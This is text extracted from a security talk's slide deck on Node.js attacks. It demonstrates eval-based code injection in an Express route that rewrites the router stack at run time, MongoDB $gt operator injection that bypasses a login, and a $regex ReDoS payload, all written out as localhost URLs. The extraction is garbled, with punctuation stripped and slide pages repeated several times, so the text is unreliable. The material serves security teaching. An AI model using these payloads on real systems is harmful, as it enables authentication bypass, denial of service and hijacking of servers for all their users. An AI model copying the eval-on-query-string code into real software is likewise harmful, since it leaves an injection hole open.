Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 25: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Security ndash User Supplied Data

28

dbusersfind(user $gt ldquoardquo

pass $gt ldquoardquo

httpserverpageuser[$gt]=aamppass[$gt]=a

Instead of

objuser = ldquoMatyrdquo

objpass = ldquo123rdquo

We can use

Objuser$gt=ldquoardquo

Objpass$gt=ldquoardquo

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 26: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 27: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 28: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

